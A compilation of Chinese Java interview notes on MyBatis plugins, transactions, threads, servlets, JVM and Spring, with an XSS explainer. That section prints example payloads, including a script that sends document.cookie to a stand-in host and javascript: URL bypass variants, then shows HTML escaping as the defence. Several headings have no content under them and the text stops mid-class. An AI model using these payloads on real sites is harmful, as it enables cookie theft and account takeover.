拦截器的解析是在 XMLConfigBuilder 对象的 parseConfiguration 方法中
private void parseConfiguration(XNode root) {
try {
...
pluginElement(root.evalNode("plugins"));
...
} catch (Exception e) {
throw new BuilderException("Error parsing SQL Mapper Configuration. Cause: " + e, e);
}
}
创建拦截器、设置属性、添加到 configuration 的拦截器链 InterceptorChain
private void pluginElement(XNode parent) throws Exception {
if (parent != null) {
for (XNode child : parent.getChildren()) {
String interceptor = child.getStringAttribute("interceptor");
//获取配置属性
Properties properties = child.getChildrenAsProperties();
//根据配置类,创建拦截器实例
Interceptor interceptorInstance = (Interceptor) resolveClass(interceptor).getDeclaredConstructor().newInstance();
//设置拦截器的属性
interceptorInstance.setProperties(properties);
//添加拦截器到 configuration 的拦截器链 InterceptorChain 中
configuration.addInterceptor(interceptorInstance);
}
}
}
所有的拦截器逻辑插入到四大核心接口
/** * @author Clinton Begin */ public class Configuration { //拦截器链 protected final InterceptorChain interceptorChain = new InterceptorChain(); //参数处理 public ParameterHandler newParameterHandler(MappedStatement mappedStatement, Object parameterObject, BoundSql boundSql) { //创建参数处理对象 ParameterHandler parameterHandler = mappedStatement.getLang().createParameterHandler(mappedStatement, parameterObject, boundSql); //将拦截器链中的拦截器拦截动态代理中的参数处理方法执行,加入插件逻辑 parameterHandler = (ParameterHandler) interceptorChain.pluginAll(parameterHandler); return parameterHandler; } //结果集处理 public ResultSetHandler newResultSetHandler(Executor executor, MappedStatement mappedStatement, RowBounds rowBounds, ParameterHandler parameterHandler, ResultHandler resultHandler, BoundSql boundSql) { //创建结果集处理对象 ResultSetHandler resultSetHandler = new DefaultResultSetHandler(executor, mappedStatement, parameterHandler, resultHandler, boundSql, rowBounds); //将拦截器链中的拦截器拦截动态代理中的结果集处理方法执行,加入插件逻辑 resultSetHandler = (ResultSetHandler) interceptorChain.pluginAll(resultSetHandler); return resultSetHandler; } //数据库操作处理 public StatementHandler newStatementHandler(Executor executor, MappedStatement mappedStatement, Object parameterObject, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) { //创建数据库操作对象 StatementHandler statementHandler = new RoutingStatementHandler(executor, mappedStatement, parameterObject, rowBounds, resultHandler, boundSql); //将拦截器链中的拦截器拦截动态代理中的数据库操作方法执行,加入插件逻辑 statementHandler = (StatementHandler) interceptorChain.pluginAll(statementHandler); return statementHandler; } //执行器处理 public Executor newExecutor(Transaction transaction, ExecutorType executorType) { executorType = executorType == null ? defaultExecutorType : executorType; executorType = executorType == null ? ExecutorType.SIMPLE : executorType; //创建执行器 Executor executor; if (ExecutorType.BATCH == executorType) { executor = new BatchExecutor(this, transaction); } else if (ExecutorType.REUSE == executorType) { executor = new ReuseExecutor(this, transaction); } else { executor = new SimpleExecutor(this, transaction); } if (cacheEnabled) { executor = new CachingExecutor(executor); } //将拦截器链中的拦截器拦截动态代理中的执行器方法执行,加入插件逻辑 executor = (Executor) interceptorChain.pluginAll(executor); return executor; } }
Plugin 类实现 InvocationHandler 接口,完成动态代理
/** * @author Clinton Begin */ public class Plugin implements InvocationHandler { private final Object target; private final Interceptor interceptor; private final Map<Class<?>, Set<Method>> signatureMap; private Plugin(Object target, Interceptor interceptor, Map<Class<?>, Set<Method>> signatureMap) { this.target = target; this.interceptor = interceptor; this.signatureMap = signatureMap; } public static Object wrap(Object target, Interceptor interceptor) { Map<Class<?>, Set<Method>> signatureMap = getSignatureMap(interceptor); Class<?> type = target.getClass(); Class<?>[] interfaces = getAllInterfaces(type, signatureMap); if (interfaces.length > 0) { return Proxy.newProxyInstance( type.getClassLoader(), interfaces, //这里包装注入拦截器对象 new Plugin(target, interceptor, signatureMap)); } return target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { try { Set<Method> methods = signatureMap.get(method.getDeclaringClass()); if (methods != null && methods.contains(method)) { //这里调用拦截器的 intercept 方法,插入插件逻辑 return interceptor.intercept(new Invocation(target, method, args)); } return method.invoke(target, args); } catch (Exception e) { throw ExceptionUtil.unwrapThrowable(e); } } }
Interceptor 接口配置文件中类需要实现的接口,可以添加属性,在方法执行前后添加自定义逻辑代码
/** * @author Clinton Begin */ public interface Interceptor { Object intercept(Invocation invocation) throws Throwable; default Object plugin(Object target) { return Plugin.wrap(target, this); } default void setProperties(Properties properties) { // NOP } }
总结:
事务具备ACID四种特性,ACID是Atomic(原子性)、Consistency(一致性)、Isolation(隔离性)和Durability(持久性)的英文缩写。
事务最基本的操作单元,要么全部成功,要么全部失败,不会结束在中间某个环节。事务在执行过程中发生错误,会被回滚到事务开始前的状态,就像这个事务从来没有执行过一样。
事务的一致性指的是在一个事务执行之前和执行之后数据库都必须处于一致性状态。如果事务成功地完成,那么系统中所有变化将正确地应用,系统处于有效状态。如果在事务中出现错误,那么系统中的所有变化将自动地回滚,系统返回到原始状态。
指的是在并发环境中,当不同的事务同时操纵相同的数据时,每个事务都有各自的完整数据空间。由并发事务所做的修改必须与任何其他并发事务所做的修改隔离。事务查看数据更新时,数据所处的状态要么是另一事务修改它之前的状态,要么是另一事务修改它之后的状态,事务不会查看到中间状态的数据。
指的是只要事务成功结束,它对数据库所做的更新就必须永久保存下来。即使发生系统崩溃,重新启动数据库系统后,数据库还能恢复到事务成功结束时的状态。
线程包括哪些状态的问题说专业一点就是线程的生命周期。
不同的编程语言对线程的生命周期封装是不同的。
Java 语言中线程共有六种状态。
如图:
1. NEW 到 RUNNABLE 状态
Java 刚创建出来的 Thread 对象就是 NEW 状态,不会被操作系统调度执行。从 NEW 状态转变到 RUNNABLE 状态调用线程对象的 start() 方法就可以了。
2. RUNNABLE 与 BLOCKED 的状态转变
3. RUNNABLE 与 WAITING 的状态转变
4. RUNNABLE 与 TIMED_WAITING 的状态转变
TIMED_WAITING 和 WAITING 状态的区别,仅仅是调用的是超时参数的方法。
5. RUNNABLE 到 TERMINATED 状态
forward:转发;redirect:重定向。区别如下:
服务端通过 forward 返回,浏览器 url 地址不会发生变化;服务器通过 redirect 返回,浏览器会重新请求, url 地址会发生变化
forward 跳转页面,是服务端进行页面跳转加载(include)新页面,直接返回到浏览器;redirect 跳转页面,是服务端返回新的 url 地址,浏览器二次发出 url 请求
forward 跳转页面,会共享请求的参数到新的页面;redirect 跳转页面,属于一次全新的 http 请求,无法共享上一次请求的参数
forward 1次;redirect 2次
forward 必须是同一个应用内的某个资源;redirect 的新地址可以是任意地址
test servlet
package constxiong; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * test servlet * @author ConstXiong * @date 2019-06-26 10:00:34 */ @WebServlet("/test") public class TestServlet extends HttpServlet { private static final long serialVersionUID = 1L; public TestServlet() { } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.getWriter().write("This is test."); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
请求返回
redirect servlet
package constxiong; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * redirect servlet * @author ConstXiong * @date 2019-06-26 10:00:34 */ @WebServlet("/redirect") public class RedirectServlet extends HttpServlet { private static final long serialVersionUID = 1L; public RedirectServlet() { } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.sendRedirect("http://www.baidu.com"); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
请求返回
forward servlet
package constxiong; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * forward servlet * @author ConstXiong * @date 2019-06-26 10:00:34 */ @WebServlet("/forward") public class ForwardServlet extends HttpServlet { private static final long serialVersionUID = 1L; public ForwardServlet() { } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.getRequestDispatcher("/test").forward(request, response);//forward 跳转到 test 请求 } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
请求返回
LinkedList 插入性能高
这里涉及到 -XX:TargetSurvivorRatio 参数,Survivor 区的目标使用率默认 50,即 Survivor 区对象目标使用率为 50%。
Survivor 区相同年龄所有对象大小的总和 > (Survivor 区内存大小 * 这个目标使用率)时,大于或等于该年龄的对象直接进入老年代。
当然,这里还需要考虑参数 -XX:MaxTenuringThreshold 晋升年龄最大阈值
活锁
任务没有被阻塞,由于某些条件没有满足,导致一直重复尝试—失败—尝试—失败的过程。 处于活锁的实体是在不断的改变状态,活锁有可能自行解开。
死锁是大家都拿不到资源都占用着对方的资源,而活锁是拿到资源却又相互释放不执行。
解决活锁的一个简单办法就是在下一次尝试获取资源之前,随机休眠一小段时间。
看一下,我们之前的一个例子,如果最后不进行随机休眠,就会产生活锁,现象就是很长一段时间,两个线程都在不断尝试获取和释放锁。
package constxiong.concurrency.a023; import java.util.Random; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; /** * 测试 占有部分资源的线程进一步申请其他资源时,如果申请不到,主动释放它占有的资源,破坏 "不可抢占" 条件 * @author ConstXiong * @date 2019-09-24 14:50:51 */ public class TestBreakLockOccupation { private static Random r = new Random(); private static Lock lock1 = new ReentrantLock(); private static Lock lock2 = new ReentrantLock(); public static void main(String[] args) { new Thread(() -> { //标识任务是否完成 boolean taskComplete = false; while (!taskComplete) { lock1.lock(); System.out.println("线程:" + Thread.currentThread().getName() + " 获取锁 lock1 成功"); try { //随机休眠,帮助造成死锁环境 try { Thread.sleep(r.nextInt(30)); } catch (Exception e) { e.printStackTrace(); } //线程 0 尝试获取 lock2 if (lock2.tryLock()) { System.out.println("线程:" + Thread.currentThread().getName() + " 获取锁 lock2 成功"); try { taskComplete = true; } finally { lock2.unlock(); } } else { System.out.println("线程:" + Thread.currentThread().getName() + " 获取锁 lock2 失败"); } } finally { lock1.unlock(); } //随机休眠,避免出现活锁 try { Thread.sleep(r.nextInt(10)); } catch (Exception e) { e.printStackTrace(); } } }).start(); new Thread(() -> { //标识任务是否完成 boolean taskComplete = false; while (!taskComplete) { lock2.lock(); System.out.println("线程:" + Thread.currentThread().getName() + " 获取锁 lock2 成功"); try { //随机休眠,帮助造成死锁环境 try { Thread.sleep(r.nextInt(30)); } catch (Exception e) { e.printStackTrace(); } //线程2 尝试获取锁 lock1 if (lock1.tryLock()) { System.out.println("线程:" + Thread.currentThread().getName() + " 获取锁 lock1 成功"); try { taskComplete = true; } finally { lock1.unlock(); } } else { System.out.println("线程:" + Thread.currentThread().getName() + " 获取锁 lock1 失败"); } } finally { lock2.unlock(); } //随机休眠,避免出现活锁 try { Thread.sleep(r.nextInt(10)); } catch (Exception e) { e.printStackTrace(); } } }).start(); } }
饥饿
一个线程因为 CPU 时间全部被其他线程抢占而得不到 CPU 运行时间,导致线程无法执行。
产生饥饿的原因:
优先级线程吞噬所有的低优先级线程的 CPU 时间
其他线程总是能在它之前持续地对该同步块进行访问,线程被永久堵塞在一个等待进入同步块
其他线程总是抢先被持续地获得唤醒,线程一直在等待被唤醒
package constxiong.concurrency.a024;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
/**
测试线程饥饿
@author ConstXiong
*/
public class TestThreadHungry {
private static ExecutorService es = Executors.newSingleThreadExecutor();
public static void main(String[] args) throws InterruptedException, ExecutionException {
Future future1 = es.submit(new Callable() {
@Override
public String call() throws Exception {
System.out.println(“提交任务1”);
Future future2 = es.submit(new Callable() {
@Override
public String call() throws Exception {
System.out.println(“提交任务2”);
return “任务 2 结果”;
}
});
return future2.get();
}
});
System.out.println(“获取到” + future1.get());
}
}
打印结果如下,线程池卡死。线程池只能容纳 1 个任务,任务 1 提交任务 2,任务 2 永远得不到执行。
提交任务1
思路:
步骤:
代码:
package constxiong.interview.algorithm; /** * 插入排序 * @author ConstXiong * @date 2020-04-08 09:35:40 */ public class InsertionSort { public static void main(String[] args) { int [] array = {33, 22, 1, 4, 25, 88, 71, 4}; insertionSort(array); } /** * 插入排序 */ private static void insertionSort(int[] array) { print(array); for (int i = 1; i <array.length; i++) { int j = i - 1; int value = array[i]; for (; j >= 0; j--) { if (array[j] > value) { array[j+1] = array[j]; } else { break; } } array[j+1] = value; print(array); } } /** * 打印数组 * @param array */ private static void print(int[] array) { for(int i : array) { System.out.print(i + " "); } System.out.println(); } }
打印:
33 22 1 4 25 88 71 4
22 33 1 4 25 88 71 4
1 22 33 4 25 88 71 4
1 4 22 33 25 88 71 4
1 4 22 25 33 88 71 4
1 4 22 25 33 88 71 4
1 4 22 25 33 71 88 4
1 4 4 22 25 33 71 88
特征:
在并发编程中,经常会遇到多个线程访问同一个共享变量,当同时对共享变量进行读写操作时,就会产生数据不一致的情况。
为了解决这个问题
可重入锁
公平锁 / 非公平锁
独享锁 / 共享锁
悲观锁 / 乐观锁
粗粒度锁 / 细粒度锁
偏向锁 / 轻量级锁 / 重量级锁
自旋锁
在 Java 虚拟机中,方法区是可供各线程共享的运行时内存区域。
在不同的 JDK 版本中,方法区中存储的数据是不一样的:
永久代就是 HotSpot VM 对虚拟机规范中方法区的一种实现方式,永久代和方法区的关系就像 Java 中类和接口的关系。
HotSpot VM 机在 JDK 1.8 取消了永久代,改为元空间,类的元信息被存储在元空间中。元空间没有使用堆内存,而是与堆不相连的本地内存区域。所以,理论上系统可以使用的内存有多大,元空间就有多大。
JDK 1.7 及之前的版本,启动时需要加载的类过多、运行时动态生成的类过多会造成方法区 OOM;JDK 1.7 之前常量池里的常量过多也会造成方法区 OOM。HotSpot VM 可以调大 -XX:MaxPermSize 参数值。
JDK 1.8,-XX:MaxMetaspaceSize 可以调整元空间最大的内存。
MyBatis 创建了 MyBatis-Spring 项目与 Spring 进行无缝整合,让 MyBatis 参与到 Spring 的事务管理之中,创建映射器 mapper 和 SqlSession 并注入到 Spring 的 bean 中。
上个问题已经给出 Spring 整合 MyBatis 的 Demo
核心配置就是 dataSource、SqlSessionFactoryBean、MapperScannerConfigurer
dataSource 是数据源
SqlSessionFactoryBean,配置数据源、可以加载解析 MyBatis 的配置文件、可以设置 Mapper xml 的文件路径与解析、SqlSessionFactory 对象的创建等
getObject() -> afterPropertiesSet() -> buildSqlSessionFactory()
buildSqlSessionFactory() 方法中利用 MyBatis 的核心类解析 MyBatis 的配置文件、Mapper xml 文件,生成 Configuration 对象设置其中属性,创建 SqlSessionFactory 对象
MapperScannerConfigurer,设置 Mapper 接口的的包扫描路径,加载所有的 Mapper 接口生成 BeanDefinition,设置 BeanDefinition 的 beanClass 属性为 MapperFactoryBean,设置 sqlSessionFactory 和 sqlSessionTemplate 属性
MapperScannerConfigurer.postProcessBeanDefinitionRegistry() -> ClassPathMapperScanner.scan()
Mapper 接口代理 bean 的获取
MapperFactoryBean 实现 Spring 的 FactoryBean 接口
MapperFactoryBean 的 checkDaoConfig() 方法中向 configuration addMapper
MapperFactoryBean 的 getObject() 方法使用 SqlSessionTemplate 的 getMapper() 返回 Mapper 代理对象
Spring 生成 bean 的时候就是调用的FactoryBean 的 getObject() 方法
具体源码流程可以参考这篇文章:
https://www.cnblogs.com/bug9/p/11793728.html
以下参考 5.2.2 官方文档(每个版本可能有所差别)
Spring bean 的作用域包含
web 应用中再加上
也可以实现 Scope 接口自定义作用域,BeanFactory#registerScope 方法进行注册
Oracle JDK 1.8
JDK 1.8 中有 Serial、ParNew、Parallel Scavenge、Serial Old、Parallel Old、CMS、G1,默认使用 Parallel Scavenge + Parallel Old。
我们生产环境使用了 G1 收集器,相关配置如下
-XX:G1HeapRegionSize 未指定
核心思路:
1、dubbo 默认协议:
2、rmi 协议:
3、hessian 协议:
4、http 协议:
5、webservice 协议:
6、thrift 协议:
7、基于 Redis实现的 RPC 协议
8、基于 Memcached 实现的 RPC 协议
官方文档:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html
case 语句缺少 break;
返回值是 10
如测试获取文件所属人
public static void testGetOwner() throws IOException {
Path path_js = Paths.get("/Users/constxiong/Desktop/index.js");
System.out.println(Files.getOwner(path_js));
}
具体介绍和使用,可参照:
HashMap
HashSet
注:JDK 1.8
方式一、接口中传多个参数,在 xml 中使用 #{param0}、#{param1}…
方式二、使用 @param 注解指定名称,在 xml 中使用 #{名称}
方式三、多个参数封装到 Java bean 中
方式四、多个参数指定 key,put 到 Map 中
//方式一
//java
System.out.println(“------ selectUserByParamIndex ------”);
user = userMapper.selectUserByParamIndex(31, “ConstXiong1”);
System.out.println(user);
//xml
select * from user where id = #{arg0} and name = #{arg1}
//方式二
//java
System.out.println(“------ selectUserByAnnotation ------”);
user = userMapper.selectUserByAnnotation(31, “ConstXiong1”);
System.out.println(user);
//xml
select * from user where id = #{id} and name = #{name}
//方式三
//java
System.out.println(“------ selectUserByPo ------”);
user = userMapper.selectUserByPo(new User(31, “ConstXiong1”));
System.out.println(user);
//xml
select * from user where id = #{id} and name = #{name}
//方式四
//java
System.out.println(“------ selectUserByMap ------”);
Map<String, Object> param = new HashMap<>();
param.put(“id”, 31);
param.put(“name”, “ConstXiong1”);
user = userMapper.selectUserByMap(param);
System.out.println(user);
//xml
select * from user where id = #{id} and name = #{name}
打印结果
------ selectUserByParamIndex ------
User{id=31, name='ConstXiong1', mc='null'}
------ selectUserByAnnotation ------
User{id=31, name='ConstXiong1', mc='null'}
------ selectUserByPo ------
User{id=31, name='ConstXiong1', mc='null'}
------ selectUserByMap ------
User{id=31, name='ConstXiong1', mc='null'}
greater than or equal to 0.0 and less than 1.0
package constxiong.interview; import java.util.ArrayList; import java.util.List; /** * 一个不包含相同元素的整数集合,返回所有可能的不重复子集集合 * * @author ConstXiong * @date 2019-11-06 14:09:49 */ public class TestGetAllSubArray { public static void main(String[] args) { int[] arr = {1, 2, 3}; System.out.println(getAllSubList(arr)); } public static List<List<Integer>> getAllSubList(int[] arr) { List<List<Integer>> res = new ArrayList<List<Integer>>(); if (arr.length == 0 || arr == null) { return res; } // Arrays.sort(arr);//排序 List<Integer> item = new ArrayList<Integer>(); subList(arr, 0, item, res); // res.add(new ArrayList<Integer>());// 如果需要,加上空集 return res; } /** * 递归获取子集合 * 从数组第一位数开始,获取该数与后面数组合的所有可能。第一位组合完到第二位...直到最后一位 * @param arr * @param start * @param item * @param res */ public static void subList(int[] arr, int start, List<Integer> item, List<List<Integer>> res) { for (int i = start; i <arr.length; i++) { item.add(arr[i]); res.add(new ArrayList<Integer>(item)); subList(arr, i + 1, item, res); item.remove(item.size() - 1); } } }
打印结果
[[1], [1, 2], [1, 2, 3], [1, 3], [2], [2, 3], [3]]
**XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 **
原理
攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。
种类
例如:
input 标签 value 属性赋值
//jsp
<input type=“text” value=“<%= getParameter(“content”) %>”>
访问
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script> //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script> //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
利用 a 标签的 href 属性的赋值
//jsp
<a href=“escape(<%= getParameter(“newUrl”) %>)”>跳转…
访问
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS') //点击 a 标签就会弹出 XSS 字样
image 标签 src 属性,onload、onerror、onclick 事件中注入恶意代码
<form action="save.do">
<input name="content" value="">
</form>
输入 ,提交
当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie
各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。
<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E
需要考虑项目中的一些要求,比如转义会加大存储。可以考虑自定义函数,部分字符转义。
详细可以参考:
&
&&
短路与,&& 左边的表达式结果为 false 时,&& 右边的表达式不参与计算
package constxiong.interview;
/**
测试 & &&
@author ConstXiong
*/
public class TestAnd {
public static void main(String[] args) {
int x = 10;
int y = 9;
if (x == 9 & ++y > 9) {
}
System.out.println("x = " + x + ", y = " + y);
int a = 10;
int b = 9;
if (a == 9 && ++b > 9) {//a == 9 为 false,所以 ++b 不会运算,b=9
}
System.out.println("a = " + a + ", b = " + b);
//00000000000000000000000000000001
//00000000000000000000000000000010
//=
//00000000000000000000000000000000
System.out.println(1 & 2);//打印0
}
}
打印
x = 10, y = 10
a = 10, b = 9
0
**等级低到高: **
自动转换:运算过程中,低级可以自动向高级转换
强制转换:高级需要强制转换为低级,可能会丢失精度
规则:
类是对象的抽象;对象是类的具体实例
类是抽象的,不占用内存;对象是具体的,占用存储空间
类是一个定义包括在一类对象中的方法和变量的模板
1) add(E e) 将指定的元素插入列表,插入位置为迭代器当前位置之前
2) set(E e) 迭代器返回的最后一个元素替换参数e
3) hasPrevious() 迭代器当前位置,反向遍历集合是否含有元素
4) previous() 迭代器当前位置,反向遍历集合,下一个元素
5) previousIndex() 迭代器当前位置,反向遍历集合,返回下一个元素的下标
6) nextIndex() 迭代器当前位置,返回下一个元素的下标
使用场景
作用
优点
缺点
package constxiong.interview; import java.util.Arrays; import java.util.HashSet; import java.util.List; import java.util.Set; /** * 测试剔除List的相同元素 * @author ConstXiong * @date 2019-11-06 16:33:17 */ public class TestRemoveListSameElement { public static void main(String[] args) { List<String> l = Arrays.asList("1", "2", "3", "1"); Set<String> s = new HashSet<String>(l); System.out.println(s); } }
类加载的步骤为,加载 -> 验证 -> 准备 -> 解析 -> 初始化。
1、加载:
2、验证:连接过程的第一步,确保 class 文件的字节流中的信息符合当前 JVM 的要求,不会危害 JVM 的安全
3、准备:为类的静态变量分配内存并将其初始化为默认值
4、解析:JVM 将常量池内符号引用替换成直接引用的过程
5、初始化:执行类构造器的初始化的过程
Unsafe 类申请内存、JNI 对内存进行操作、Netty 调用操作系统的 malloc 函数的直接内存,这些内存是不受 JVM 控制的,不加限制的使用,很容易发生溢出。这种情况有个显著特点,dump 的堆文件信息正常甚至很小。
-XX:MaxDirectMemorySize 可以指定最大直接内存,但限制不住所有堆外内存的使用。
BeanFactory 是 Spring IoC 底层容器,ApplicationContext 是它的超集有更多能力,所以这里以重点说下 ApplicationContext。
ApplicationContext 生命周期的入口在 AbstractApplicationContext#refresh 方法(参照小马哥的 Spring 专栏课件)
1、应用上下文启动准备。AbstractApplicationContext#prepareRefresh 启动时间 startupDate 状态标识 closed(false) active(true) 初始化 PropertSources - initPropertySources 校验 Environment 必须属性 初始化早期 Spring 事件集合 2、BeanFactory 创建。AbstractApplicationContext#obtainFreshBeanFactory 已存在 BeanFactory,先销毁 bean、关闭 BeanFactory 创建 BeanFactory createBeanFactory 设置 BeanFactory id customizeBeanFactory 方法中,是否可以重复 BeanDefinition、是否可以循环依赖设置 loadBeanDefinitions 方法,加载 BeanDefinition 赋值该 BeanFactory 到 ApplicationContext 中 3、BeanFactory 准备。AbstractApplicationContext#prepareBeanFactory 设置 BeanClassLoader 设置 Bean 表达式处理器 添加 PropertyEditorRegistrar 的实现对象 ResourceEditorRegistrar 添加 BeanPostProcessor 忽略 Aware 接口作为依赖注入的接口 注册 ResovlableDependency 对象:BeanFactory、ResourceLoader、ApplicationEventPublisher、ApplicationContext 注册 ApplicationListenerDetector 对象 注册 LoadTimeWeaverAwareProcessor 对象 注册单例对象 Environment、Java System Properties、OS 环境变量 4、BeanFactory 后置处理。AbstractApplicationContext#postProcessBeanFactory、invokeBeanFactoryPostProcessors postProcessBeanFactory 方法由子类覆盖 调用 PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors(beanFactory, getBeanFactoryPostProcessors()) 方法 注册 LoadTimeWeaverAwareProcessor 设置 TempClassLoader 5、BeanFactory 注册 BeanPostProcessor。AbstractApplicationContext#registerBeanPostProcessors PostProcessorRegistrationDelegate.registerBeanPostProcessors(beanFactory, this); 注册 PriorityOrdered 类型的 BeanPostProcessor Beans 注册 Ordered 类型的 BeanPostProcessor Beans 注册普通的 BeanPostProcessor Beans(nonOrderedPostProcessors) 注册 MergedBeanDefinitionPostProcessor Beans(internalPostProcessors) 注册 ApplicationListenerDetector 对象 6、初始化内建 Bean - MessageSource。AbstractApplicationContext#initMessageSource 若不存在 messageSource bean,注册单例 bean DelegatingMessageSource 若存在且需要设置层级,进行设置 7、初始化内建 Bean - Spring 广播器。AbstractApplicationContext#initApplicationEventMulticaster 若不存在 applicationEventMulticaster bean,注册单例 bean SimpleApplicationEventMulticaster 存在则设置为当前属性 8、Spring 应用上下文刷新。AbstractApplicationContext#onRefresh 留给子类覆盖 9、Spring 事件监听器注册。AbstractApplicationContext#registerListeners 添加 ApplicationListener 对象 添加 BeanFactory 所注册的 ApplicationListener Beans 广播早期事件 10、BeanFactory 初始化完成。AbstractApplicationContext#finishBeanFactoryInitialization 如果存在设置 conversionService Bean 添加 StringValueResolver 查找 LoadTimeWeaverAware Bean BeanFactory 置空 tempClassLoader BeanFactory 解冻 的配置 BeanFactory 初始化非延迟单例 Bean 11、Spring 应用上下文刷新完成。AbstractApplicationContext#finishRefresh 清空 ResourceLoader 缓存 初始化 LifeCycleProcessor 对象 调用 LifeCycleProcessor#onRefresh 方法 发布上下文 ContextRefreshedEvent 已刷新事件 向 MBeanServer 托管 Live Beans 12、Spring 应用上下文启动。AbstractApplicationContext#start 查找和启动 LifeCycleProcessor 发布上下文 ContextStartedEvent 已启动事件 13、Spring 应用下文停止。AbstractApplicationContext#stop 查找和启动 LifeCycleProcessor 发布上下文 ContextStoppedEvent 已停止事件 14、Spring 应用下文关闭。AbstractApplicationContext#close 状态标识 closed(true) active(false) Live Bean JMX 撤销托管 发布上下文 ContextClosedEvent 已关闭事件 查找和关闭 LifeCycleProcessor 销毁所有 Bean 关闭 BeanFactory onClose 方法回调 早期事件处理 移除 ShutdownHook
相同点:
不同点:
Java 8 为例
日志
内存设置
设置垃圾收集相关
CMS 垃圾回收器相关
G1 垃圾回收器相关
参数查询官网地址:
https://docs.oracle.com/javase/8/docs/technotes/tools/unix/java.html
建议面试时最好能记住 CMS 和 G1的参数,特点突出使用较多,被问的概率大
从 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status 查到 301 和 302 状态码及含义。
301 Moved Permanently
被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。
302 Found
请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
当网站迁移或url地址进行调整时,服务端需要重定向返回,保证原请求自动跳转新的地址。
http 协议的 301 和 302 状态码都代表重定向。浏览器请求某url收到这两个状态码时,都会显示和跳转到 Response Headers 中的Location。即在浏览器地址输入 url A,却自动跳转到url B。
java servlet 返回 301 和 302 跳转到百度首页如下
package constxiong; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Servlet implementation class HelloServlet */ @WebServlet("/hello") public class HelloServlet extends HttpServlet { private static final long serialVersionUID = 1L; /** * Default constructor. */ public HelloServlet() { } /** * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // response.setStatus(301);//设置返回状态码301 response.setStatus(302);//设置返回状态码302 response.sendRedirect("http://www.baidu.com"); } /** * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
请求url:http://localhost:8081/web/hello
区别:
占用空间
日期格式
最小值
最大值
零值
浏览器和应用服务交互,一般都是通过 Http 协议交互的。Http 协议是无状态的,浏览器和服务器交互完数据,连接就会关闭,每一次的数据交互都要重新建立连接。即服务器是无法辨别每次是和哪个浏览器进行数据交互的。
为了确定会话中的身份,就可以通过创建 session 或 cookie 进行标识。
两者区别:
一般实际使用中,都是把关键信息保存在 session 里,其他信息加密保存到cookie中。
使用 StringBuilder 或 StringBuffer 的 reverse 方法,本质都调用了它们的父类 AbstractStringBuilder 的 reverse 方法实现。(JDK1.8)
不考虑字符串中的字符是否是 Unicode 编码,自己实现。
递归
package constxiong.interview;
public class TestReverseString {
